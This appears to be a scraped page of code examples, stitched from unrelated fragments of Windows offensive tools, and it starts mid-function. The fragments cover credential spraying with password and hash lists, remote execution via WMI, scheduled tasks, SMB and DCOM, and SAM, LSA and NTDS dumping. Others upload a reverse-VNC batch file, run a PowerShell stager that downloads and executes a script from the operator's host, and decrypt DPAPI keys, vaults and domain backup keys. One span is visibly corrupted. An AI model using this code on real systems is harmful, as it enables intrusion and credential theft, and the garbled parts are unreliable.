                self.failed_logins += 1

            return False

    def login(self):
        for cred_id in self.args.cred_id:
            with sem:
                try:
                    c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=int(cred_id))[0]

                    if not domain: domain = self.domain

                    if self.args.local_auth:
                        domain = self.domain
                    elif self.args.domain: 
                        domain = self.args.domain

                    if credtype == 'hash' and not self.over_fail_limit(username):
                        if self.hash_login(domain, username, password): return

                    elif credtype == 'plaintext' and not self.over_fail_limit(username):
                        if self.plaintext_login(domain, username, password): return
     
                except IndexError:
                    self.logger.error("Invalid database credential ID!")

        for user in self.args.username:
            if type(user) is file:
                for usr in user:
                    if self.args.hash:
                        with sem:
                            for ntlm_hash in self.args.hash:
                                if type(ntlm_hash) is not file:
                                    if not self.over_fail_limit(usr.strip()):
                                        if self.hash_login(self.domain, usr.strip(), ntlm_hash): return
                            
                                elif type(ntlm_hash) is file:
                                    for f_hash in ntlm_hash:
                                        if not self.over_fail_limit(usr.strip()):
                                            if self.hash_login(self.domain, usr.strip(), f_hash.strip()): return
                                    ntlm_hash.seek(0)

                    elif self.args.password:
                        with sem:
                            for password in self.args.password:
                                if type(password) is not file:
                                    if not self.over_fail_limit(usr.strip()):
                                        if self.plaintext_login(self.domain, usr.strip(), password): return
                                
                                elif type(password) is file:
                                    for f_pass in password:
                                        if not self.over_fail_limit(usr.strip()):
                                            if self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): return
                                    password.seek(0)

            elif type(user) is not file:
                    if self.args.hash:
                        with sem:
                            for ntlm_hash in self.args.hash:
                                if type(ntlm_hash) is not file:
                                    if not self.over_fail_limit(user):
                                        if self.hash_login(self.domain, user, ntlm_hash): return
                                
                                elif type(ntlm_hash) is file:
                                    for f_hash in ntlm_hash:
                                        if not self.over_fail_limit(user):
                                            if self.hash_login(self.domain, user, f_hash.strip()): return
                                    ntlm_hash.seek(0)

                    elif self.args.password:
                        with sem:
                            for password in self.args.password:
                                if type(password) is not file:
                                    if not self.over_fail_limit(user):
                                        if self.plaintext_login(self.domain, user, password): return
                                
                                elif type(password) is file:
                                    for f_pass in password:
                                        if not self.over_fail_limit(user):
                                            if self.plaintext_login(self.domain, user, f_pass.strip()): return
                                    password.seek(0)

    @requires_admin
    def execute(self, payload=None, get_output=False, methods=None):

        default_methods = ['wmiexec', 'atexec', 'smbexec']

        if not payload and self.args.execute: 
            payload = self.args.execute
            if not self.args.no_output: get_output = True

        if self.args.mssql:
            exec_method = MSSQLEXEC(self.conn)
            logging.debug('Executed command via mssqlexec')

        elif not self.args.mssql:

            if not methods and not self.args.exec_method:
                methods = default_methods

            elif methods or self.args.exec_method:

                if not methods:
                    methods = [self.args.exec_method]

            for method in methods:

                if method == 'wmiexec':
                    try:
                        exec_method = WMIEXEC(self.host, self.share_name, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
                        logging.debug('Executed command via wmiexec')
                        break
                    except:
                        logging.debug('Error executing command via wmiexec, traceback:')
                        logging.debug(format_exc())
                        continue

                elif method == 'atexec':
                    try:
                        exec_method = TSCH_EXEC(self.host, self.share_name, self.username, self.password, self.domain, self.hash) #self.args.share)
                        logging.debug('Executed command via atexec')
                        break
                    except:
                        logging.debug('Error executing command via atexec, traceback:')
                        logging.debug(format_exc())
                        continue

                elif method == 'smbexec':
                    try:
                        exec_method = SMBEXEC(self.host, self.share_name, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
                        logging.debug('Executed command via smbexec')
                        break
                    except:
                        logging.debug('Error executing command via smbexec, traceback:')
                        logging.debug(format_exc())
                        continue

        if self.cmeserver: self.cmeserver.track_host(self.host)

        output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8'))

        if self.args.execute or self.args.ps_execute:
            self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
            buf = StringIO(output).readlines()
            for line in buf:
                self.logger.highlight(line.strip())

        return output

    @requires_admin
    def ps_execute(self, payload=None, get_output=False, methods=None):
        if not payload and self.args.ps_execute:
            payload = self.args.ps_execute
            if not self.args.no_output: get_output = True

        return self.execute(create_ps_command(payload), get_output, methods)

    @requires_admin
    def sam(self):
        return DumpSecrets(self).SAM_dump()

    @requires_admin
    def lsa(self):
        return DumpSecrets(self).LSA_dump()

    @requires_admin
    def ntds(self):
        #We could just return the whole NTDS.dit database but in large domains it would be huge and would take up too much memory
        DumpSecrets(self).NTDS_dump(self.args.ntds, self.args.ntds_pwdLastSet, self.args.ntds_history)

    @requires_admin
    def wdigest(self):
        return getattr(WDIGEST(self), self.args.wdigest)()

    def shares(self):
        return ShareEnum(self).enum()

    @requires_admin
    def uac(self):
        return UAC(self).enum()

    def sessions(self):
        return RPCQUERY(self).enum_sessions()

    def disks(self):
        return RPCQUERY(self).enum_disks()

    def users(self):
        return SAMRDump(self).enum()

    def rid_brute(self):
        return LSALookupSid(self).brute_force()

    def pass_pol(self):
        return PassPolDump(self).enum()

    def lusers(self):
        return RPCQUERY(self).enum_lusers()

    @requires_admin
    def wmi(self):
        return WMIQUERY(self).query()

    def spider(self):
        spider = SMBSpider(self)
        spider.spider(self.args.spider, self.args.depth)
        spider.finish()

        return spider.results

    def mssql_query(self):
        self.conn.sql_query(self.args.mssql_query)
        return conn.printRows()
Ejemplo n.º 55
0
class VNCEXEC:
    def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, share=None, doKerberos=False, kdcHost=None):
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = aesKey
        self.__share = share
        self.__doKerberos = doKerberos
        self.__kdcHost = kdcHost
        self.shell = None
        self.vnc_upload_path = None
        self.vnc_upload_filename = None
        self.full_file_path = None
        self.smbConnection = None
        if hashes is not None:
            self.__lmhash, self.__nthash = hashes.split(':')


    def findWritableShare(self, shares):
        # Check we can write a file on the shares, stop in the first one
        for i in shares['Buffer']:
            if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL:
               share = i['shi1_netname'][:-1]
               if (len(share) == 2 and share[1] == '$') or share == 'ADMIN$':
                 pass
               else:
                 logging.info('Bad share %s' % share)
                 continue
               try:
                   self.smbConnection.createDirectory(share,'ARTKOND')
               except:
                   # Can't create, pass
                   #import traceback
                   #print traceback.print_exc()
                   logging.critical("share '%s' is not writable." % share)
                   pass
               else:
                   logging.info('Found writable share %s' % share)
                   self.smbConnection.deleteDirectory(share,'ARTKOND')
                   return str(share)
        return None

    def getShares(self):
        # Setup up a DCE SMBTransport with the connection already in place
        logging.info("Requesting shares on %s....." % (self.smbConnection.getRemoteHost()))
        try: 
            self._rpctransport = transport.SMBTransport(self.smbConnection.getRemoteHost(), self.smbConnection.getRemoteHost(),filename = r'\srvsvc', smb_connection = self.smbConnection)
            dce_srvs = self._rpctransport.get_dce_rpc()
            dce_srvs.connect()

            dce_srvs.bind(srvs.MSRPC_UUID_SRVS)
            resp = srvs.hNetrShareEnum(dce_srvs, 1)
            return resp['InfoStruct']['ShareInfo']['Level1']
        except:
            logging.critical("Error requesting shares on %s, aborting....." % (self.smbConnection.getRemoteHost()))
            raise

    def get_vnc_upload_path(self, share):
        if share == 'ADMIN$':
            return "C:\\windows\\temp\\"
        if len(share) == 2:
            if share[1] == '$':
                return share[0] + ":\\"

    def copy_file(self, file, tree, dst):

        logging.info("Uploading " + self.vnc_upload_path + self.vnc_upload_filename)
        
        pathname = string.replace(dst,'/','\\')
        try:
            self.smbConnection.putFile(tree, pathname, file.read)
        except:
            logging.critical("Error uploading file %s, aborting....." % dst)
            raise

    def upload_vnc(self, addr, bc_ip, contype, vncpass, vncport, invoke_vnc_path):  
            fileCopied = False
            serviceCreated = False
            # Do the stuff here
            try:
                # Let's get the shares
                if self.__share is None:
                    shares = self.getShares()
                    self.__share = self.findWritableShare(shares)


                if self.__share is None:
                    logging.critical("Couldn't find writable share")
                    raise

                self.vnc_upload_path = self.get_vnc_upload_path(self.__share)

                if self.vnc_upload_path is None:
                    logging.critical("Can't deduct local path from share name " + self.__share)
                    raise

                self.vnc_upload_filename = uuid.uuid4().hex[:8] + '.bat'

                encoded_bat = BatEncode(open(invoke_vnc_path, 'rb').read(), self.vnc_upload_path + self.vnc_upload_filename, self.launch_string)
                encoded_buffer = encoded_bat.get_buffer()
                mem_file = StringIO.StringIO(encoded_buffer)


                if self.__share == 'ADMIN$':
                    self.full_file_path = '\\TEMP\\' + self.vnc_upload_filename
                else:
                    self.full_file_path = '\\' + self.vnc_upload_filename

                self.copy_file(mem_file , self.__share, self.full_file_path)
                fileCopied = True
            except:
                raise

    def run(self, addr, method, bc_ip, contype, vncpass, vncport, invoke_vnc_path, httpport):
        if bc_ip is None:
            bc_ip = ''

        self.launch_string = 'Invoke-Vnc '
        if contype == 'bind':
            pass
        elif contype == 'reverse':
            if bc_ip is None:
                print 'Ip addr required for reverse connection'
                sys.exit(1)
            else:
                self.launch_string += '-IpAddress ' + bc_ip 

        self.launch_string += ' -ConType ' + contype +' -Port ' + vncport  + ' -Password ' + vncpass
        logging.info("Using powershell launch string '" + self.launch_string + "'")

        if method == 'upload':
            logging.info("Connecting to SMB at " + addr)
            self.smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                self.smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                self.smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                            self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)


            dialect = self.smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")


            self.upload_vnc(addr, bc_ip, contype, vncpass, vncport, invoke_vnc_path)


            dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                                  self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
            try:
                iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
                iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
                iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
                iWbemLevel1Login.RemRelease()

                win32Process,_ = iWbemServices.GetObject('Win32_Process')

                self.shell = RemoteShell(self.__share, win32Process, None)
                logging.info("Executing " + self.vnc_upload_path + self.vnc_upload_filename)
                if contype == 'bind':
                    logging.info("VNC server should start at {0}:{1}".format(addr, vncport))
                else:
                    logging.info("Expect reverse VNC connection at port " + vncport)
                self.shell.onecmd(self.vnc_upload_path + self.vnc_upload_filename)
                logging.info("Sleeping 10 seconds to allow bat file to unpack itself before deleting it")
                time.sleep(10)
                self.smbConnection.deleteFile(self.__share, self.full_file_path)
                logging.info("File " + self.__share + self.full_file_path + " deleted")
            except  (Exception, KeyboardInterrupt), e:
                #import traceback
                #traceback.print_exc()
                logging.error(str(e))
                logging.info("Error on executing bat file. Trying to delete it before exiting")
                self.smbConnection.deleteFile(self.__share, self.full_file_path)
                logging.info("{0} deleted".format(self.__share + self.full_file_path))
                if self.smbConnection is not None:
                    self.smbConnection.logoff()
                dcom.disconnect()
                sys.stdout.flush()
                sys.exit(1)

            if self.smbConnection is not None:
                self.smbConnection.logoff()
            dcom.disconnect()

        elif method == 'download':
            if bc_ip == '':
                logging.critical("-bc-ip needed when using download delivery method")
                sys.exit(1)

            ps1_line = "IEX (New-Object System.Net.Webclient).DownloadString('http://{0}:{1}/Invoke-Vnc.ps1'); {2}".format(bc_ip, httpport, self.launch_string)
            logging.info("Stager: {0}".format(ps1_line))
            command = str(PSOneliner(ps1_line))
            logging.debug(command)
            dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                                  self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
            try:
                iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
                iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
                iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
                iWbemLevel1Login.RemRelease()

                win32Process,_ = iWbemServices.GetObject('Win32_Process')

                self.shell = RemoteShell(None, win32Process, None)
                self.shell.onecmd(command)
                while True:
                    pass
                dcom.disconnect()
            except (Exception, KeyboardInterrupt), e:
                #import traceback
                #traceback.print_exc()
                logging.error(str(e))
                logging.critical("Closing DCOM connection")
                dcom.disconnect()
                sys.stdout.flush()
                raise
Ejemplo n.º 56
0
class RegHandler:
    def __init__(self, username, password, domain, options):
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__options = options
        self.__action = options.action.upper()
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = options.aesKey
        self.__doKerberos = options.k
        self.__kdcHost = options.dc_ip
        self.__smbConnection = None
        self.__remoteOps = None

        # It's possible that this is defined somewhere, but I couldn't find where
        self.__regValues = {0: 'REG_NONE', 1: 'REG_SZ', 2: 'REG_EXPAND_SZ', 3: 'REG_BINARY', 4: 'REG_DWORD',
                            5: 'REG_DWORD_BIG_ENDIAN', 6: 'REG_LINK', 7: 'REG_MULTI_SZ', 11: 'REG_QWORD'}

        if options.hashes is not None:
            self.__lmhash, self.__nthash = options.hashes.split(':')

    def connect(self, remoteName, remoteHost):
        self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port))

        if self.__doKerberos:
            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                               self.__nthash, self.__aesKey, self.__kdcHost)
        else:
            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)

    def run(self, remoteName, remoteHost):
        self.connect(remoteName, remoteHost)
        self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)

        try:
            self.__remoteOps.enableRegistry()
        except Exception as e:
            logging.debug(str(e))
            logging.warning('Cannot check RemoteRegistry status. Hoping it is started...')
            self.__remoteOps.connectWinReg()

        try:
            dce = self.__remoteOps.getRRP()

            if self.__action == 'QUERY':
                self.query(dce, self.__options.keyName)
            else:
                logging.error('Method %s not implemented yet!' % self.__action)
        except (Exception, KeyboardInterrupt) as e:
            #import traceback
            #traceback.print_exc()
            logging.critical(str(e))
        finally:
            if self.__remoteOps:
                self.__remoteOps.finish()

    def query(self, dce, keyName):
        # Let's strip the root key
        try:
            rootKey = keyName.split('\\')[0]
            subKey = '\\'.join(keyName.split('\\')[1:])
        except Exception:
            raise Exception('Error parsing keyName %s' % keyName)

        if rootKey.upper() == 'HKLM':
            ans = rrp.hOpenLocalMachine(dce)
        elif rootKey.upper() == 'HKU':
            ans = rrp.hOpenCurrentUser(dce)
        elif rootKey.upper() == 'HKCR':
            ans = rrp.hOpenClassesRoot(dce)
        else:
            raise Exception('Invalid root key %s ' % rootKey)

        hRootKey = ans['phKey']

        ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
                                   samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)

        if self.__options.v:
            print(keyName)
            value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], self.__options.v)
            print('\t' + self.__options.v + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1]))
        elif self.__options.ve:
            print(keyName)
            value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], '')
            print('\t' + '(Default)' + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1]))
        elif self.__options.s:
            self.__print_all_subkeys_and_entries(dce, subKey + '\\', ans2['phkResult'], 0)
        else:
            print(keyName)
            self.__print_key_values(dce, ans2['phkResult'])
            i = 0
            while True:
                try:
                    key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i)
                    print(keyName + '\\' + key['lpNameOut'][:-1])
                    i += 1
                except Exception:
                    break
                    # ans5 = rrp.hBaseRegGetVersion(rpc, ans2['phkResult'])
                    # ans3 = rrp.hBaseRegEnumKey(rpc, ans2['phkResult'], 0)

    def __print_key_values(self, rpc, keyHandler):
        i = 0
        while True:
            try:
                ans4 = rrp.hBaseRegEnumValue(rpc, keyHandler, i)
                lp_value_name = ans4['lpValueNameOut'][:-1]
                if len(lp_value_name) == 0:
                    lp_value_name = '(Default)'
                lp_type = ans4['lpType']
                lp_data = b''.join(ans4['lpData'])
                print('\t' + lp_value_name + '\t' + self.__regValues.get(lp_type, 'KEY_NOT_FOUND') + '\t', end=' ')
                self.__parse_lp_data(lp_type, lp_data)
                i += 1
            except rrp.DCERPCSessionError as e:
                if e.get_error_code() == ERROR_NO_MORE_ITEMS:
                    break

    def __print_all_subkeys_and_entries(self, rpc, keyName, keyHandler, index):
        index = 0
        while True:
            try:
                subkey = rrp.hBaseRegEnumKey(rpc, keyHandler, index)
                index += 1
                ans = rrp.hBaseRegOpenKey(rpc, keyHandler, subkey['lpNameOut'],
                                          samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS)
                newKeyName = keyName + subkey['lpNameOut'][:-1] + '\\'
                print(newKeyName)
                self.__print_key_values(rpc, ans['phkResult'])
                self.__print_all_subkeys_and_entries(rpc, newKeyName, ans['phkResult'], 0)
            except rrp.DCERPCSessionError as e:
                if e.get_error_code() == ERROR_NO_MORE_ITEMS:
                    break
            except rpcrt.DCERPCException as e:
                if str(e).find('access_denied') >= 0:
                    logging.error('Cannot access subkey %s, bypassing it' % subkey['lpNameOut'][:-1])
                    continue
                elif str(e).find('rpc_x_bad_stub_data') >= 0:
                    logging.error('Fault call, cannot retrieve value for %s, bypassing it' % subkey['lpNameOut'][:-1])
                    return
                raise

    @staticmethod
    def __parse_lp_data(valueType, valueData):
        try:
            if valueType == rrp.REG_SZ or valueType == rrp.REG_EXPAND_SZ:
                if type(valueData) is int:
                    print('NULL')
                else:
                    print("%s" % (valueData.decode('utf-16le')[:-1]))
            elif valueType == rrp.REG_BINARY:
                print('')
                hexdump(valueData, '\t')
            elif valueType == rrp.REG_DWORD:
                print("0x%x" % (unpack('<L', valueData)[0]))
            elif valueType == rrp.REG_QWORD:
                print("0x%x" % (unpack('<Q', valueData)[0]))
            elif valueType == rrp.REG_NONE:
                try:
                    if len(valueData) > 1:
                        print('')
                        hexdump(valueData, '\t')
                    else:
                        print(" NULL")
                except:
                    print(" NULL")
            elif valueType == rrp.REG_MULTI_SZ:
                print("%s" % (valueData.decode('utf-16le')[:-2]))
            else:
                print("Unknown Type 0x%x!" % valueType)
                hexdump(valueData)
        except Exception as e:
            logging.debug('Exception thrown when printing reg value %s', str(e))
            print('Invalid data')
            pass
Ejemplo n.º 57
0
def main():
    # Init the example's logger theme
    logger.init()
    print(version.BANNER)
    parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.")

    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('-f','--command-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')
    parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity (can be stacked)')

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '
                                                       'cannot be found, it will use the ones specified in the command '
                                                       'line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
                                                                            '(128 or 256 bits)')

    group = parser.add_argument_group('connection')

    group.add_argument('-dc-ip', action='store', metavar="ip address",
                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
                            'the target parameter')
    group.add_argument('-target-ip', action='store', metavar="ip address",
                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
                            'This is useful when target is the NetBIOS name and you cannot resolve it')
    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
                       help='Destination port to connect to SMB Server')

    args = parser.parse_args()

    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
    else:
        logging.basicConfig(level=logging.DEBUG)

    print(args)

    
    creds = SMBCredential.from_args(args)
    print(str(creds))
    target = SMBTarget.from_args(args)
    print(str(target))
    print(repr(target.get_hostname()))
    print(target.get_addr()[0])

    try:
        smb_client = SMBConnection(target, sess_port=target.port)
        smb_client.login(creds)

        shell = MiniImpacketShell(smb_client)

        if args.command_file is not None:
            logging.info("Executing commands from %s" % args.command_file.name)
            for line in args.command_file.readlines():
                if line[0] != '#':
                    print("# %s" % line,
                    shell.onecmd(line))
                else:
                    print (line,)
        else:
            shell.cmdloop()
    except Exception as e:
        logging.exception('Exception in main')
Ejemplo n.º 58
0
    def run(self):
        if self.options.action.upper() == 'MASTERKEY':
            fp = open(options.file, 'rb')
            data = fp.read()
            mkf= MasterKeyFile(data)
            mkf.dump()
            data = data[len(mkf):]

            if mkf['MasterKeyLen'] > 0:
                mk = MasterKey(data[:mkf['MasterKeyLen']])
                data = data[len(mk):]

            if mkf['BackupKeyLen'] > 0:
                bkmk = MasterKey(data[:mkf['BackupKeyLen']])
                data = data[len(bkmk):]

            if mkf['CredHistLen'] > 0:
                ch = CredHist(data[:mkf['CredHistLen']])
                data = data[len(ch):]

            if mkf['DomainKeyLen'] > 0:
                dk = DomainKey(data[:mkf['DomainKeyLen']])
                data = data[len(dk):]

            if self.options.system and self.options.security:
                # We have hives, let's try to decrypt with them
                self.getLSA()
                decryptedKey = mk.decrypt(self.dpapiSystem['UserKey'])
                if decryptedKey:
                    print('Decrypted key with UserKey')
                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
                    return
                decryptedKey = mk.decrypt(self.dpapiSystem['MachineKey'])
                if decryptedKey:
                    print('Decrypted key with MachineKey')
                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
                    return
                decryptedKey = bkmk.decrypt(self.dpapiSystem['UserKey'])
                if decryptedKey:
                    print('Decrypted Backup key with UserKey')
                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
                    return
                decryptedKey = bkmk.decrypt(self.dpapiSystem['MachineKey'])
                if decryptedKey:
                    print('Decrypted Backup key with MachineKey')
                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
                    return
            elif self.options.key:
                key = unhexlify(self.options.key[2:])
                decryptedKey = mk.decrypt(key)
                if decryptedKey:
                    print('Decrypted key with key provided')
                    print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1'))
                    return

            elif self.options.pvk and dk:
                pvkfile = open(self.options.pvk, 'rb').read()
                key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):])
                private = privatekeyblob_to_pkcs1(key)
                cipher = PKCS1_v1_5.new(private)

                decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None)
                if decryptedKey:
                    domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(decryptedKey)
                    key = domain_master_key['buffer'][:domain_master_key['cbMasterKey']]
                    print('Decrypted key with domain backup key provided')
                    print('Decrypted key: 0x%s' % hexlify(key).decode('latin-1'))
                return

            elif self.options.sid and self.options.key is None:
                # Do we have a password?
                if self.options.password is None:
                    # Nope let's ask it
                    from getpass import getpass
                    password = getpass("Password:"******"Password:"******"G$BCKUPKEY_PREFERRED", "G$BCKUPKEY_P"):
                buffer = crypto.decryptSecret(connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce,
                                              resp['PolicyHandle'], keyname))
                guid = bin_to_string(buffer)
                name = "G$BCKUPKEY_{}".format(guid)
                secret = crypto.decryptSecret(connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce,
                                              resp['PolicyHandle'], name))
                keyVersion = struct.unpack('<L', secret[:4])[0]
                if keyVersion == 1:  # legacy key
                    backup_key = P_BACKUP_KEY(secret)
                    backupkey = backup_key['Data']
                    if self.options.export:
                        logging.debug("Exporting key to file {}".format(name + ".key"))
                        open(name + ".key", 'wb').write(backupkey)
                    else:
                        print("Legacy key:")
                        print("0x%s" % hexlify(backupkey))
                        print("\n")

                elif keyVersion == 2:  # preferred key
                    backup_key = PREFERRED_BACKUP_KEY(secret)
                    pvk = backup_key['Data'][:backup_key['KeyLength']]
                    cert = backup_key['Data'][backup_key['KeyLength']:backup_key['KeyLength'] + backup_key['CertificateLength']]

                    # build pvk header (PVK_MAGIC, PVK_FILE_VERSION_0, KeySpec, PVK_NO_ENCRYPT, 0, cbPvk)
                    header = PVK_FILE_HDR()
                    header['dwMagic'] = 0xb0b5f11e
                    header['dwVersion'] = 0
                    header['dwKeySpec'] = 1
                    header['dwEncryptType'] = 0
                    header['cbEncryptData'] = 0
                    header['cbPvk'] = backup_key['KeyLength']
                    backupkey_pvk = header.getData() + pvk  # pvk blob

                    backupkey = backupkey_pvk
                    if self.options.export:
                        logging.debug("Exporting certificate to file {}".format(name + ".der"))
                        open(name + ".der", 'wb').write(cert)
                        logging.debug("Exporting private key to file {}".format(name + ".pvk"))
                        open(name + ".pvk", 'wb').write(backupkey)
                    else:
                        print("Preferred key:")
                        header.dump()
                        print("PRIVATEKEYBLOB:{%s}" % (hexlify(backupkey)))
                        print("\n")
            return


        elif self.options.action.upper() == 'CREDENTIAL':
            fp = open(options.file, 'rb')
            data = fp.read()
            cred = CredentialFile(data)
            blob = DPAPI_BLOB(cred['Data'])

            if self.options.key is not None:
                key = unhexlify(self.options.key[2:])
                decrypted = blob.decrypt(key)
                if decrypted is not None:
                    creds = CREDENTIAL_BLOB(decrypted)
                    creds.dump()
                    return
            else:
                # Just print the data
                blob.dump()

        elif self.options.action.upper() == 'VAULT':
            if options.vcrd is None and options.vpol is None:
                print('You must specify either -vcrd or -vpol parameter. Type --help for more info')
                return
            if options.vcrd is not None:
                fp = open(options.vcrd, 'rb')
                data = fp.read()
                blob = VAULT_VCRD(data)

                if self.options.key is not None:
                    key = unhexlify(self.options.key[2:])

                    cleartext = None
                    for i, entry in enumerate(blob.attributesLen):
                        if entry > 28:
                            attribute = blob.attributes[i]
                            if 'IV' in attribute.fields and len(attribute['IV']) == 16:
                                cipher = AES.new(key, AES.MODE_CBC, iv=attribute['IV'])
                            else:
                                cipher = AES.new(key, AES.MODE_CBC)
                            cleartext = cipher.decrypt(attribute['Data'])

                    if cleartext is not None:
                        # Lookup schema Friendly Name and print if we find one
                        if blob['FriendlyName'].decode('utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS:
                            # Found one. Cast it and print
                            vault = VAULT_KNOWN_SCHEMAS[blob['FriendlyName'].decode('utf-16le')[:-1]](cleartext)
                            vault.dump()
                        else:
                            # otherwise
                            hexdump(cleartext)
                        return
                else:
                    blob.dump()

            elif options.vpol is not None:
                fp = open(options.vpol, 'rb')
                data = fp.read()
                vpol = VAULT_VPOL(data)
                vpol.dump()

                if self.options.key is not None:
                    key = unhexlify(self.options.key[2:])
                    blob = vpol['Blob']
                    data = blob.decrypt(key)
                    if data is not None:
                        keys = VAULT_VPOL_KEYS(data)
                        keys.dump()
                        return

        print('Cannot decrypt (specify -key or -sid whenever applicable) ')
Ejemplo n.º 59
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                            self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        try:
            dispParams = DISPPARAMS(None, False)
            dispParams['rgvarg'] = NULL
            dispParams['rgdispidNamedArgs'] = NULL
            dispParams['cArgs'] = 0
            dispParams['cNamedArgs'] = 0

            if self.__dcomObject == 'ShellWindows':
                # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Item',))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
                iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                resp = iItem.GetIDsOfNames(('Document',))
                resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
                pQuit = None
            elif self.__dcomObject == 'ShellBrowserWindow':
                # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document',))
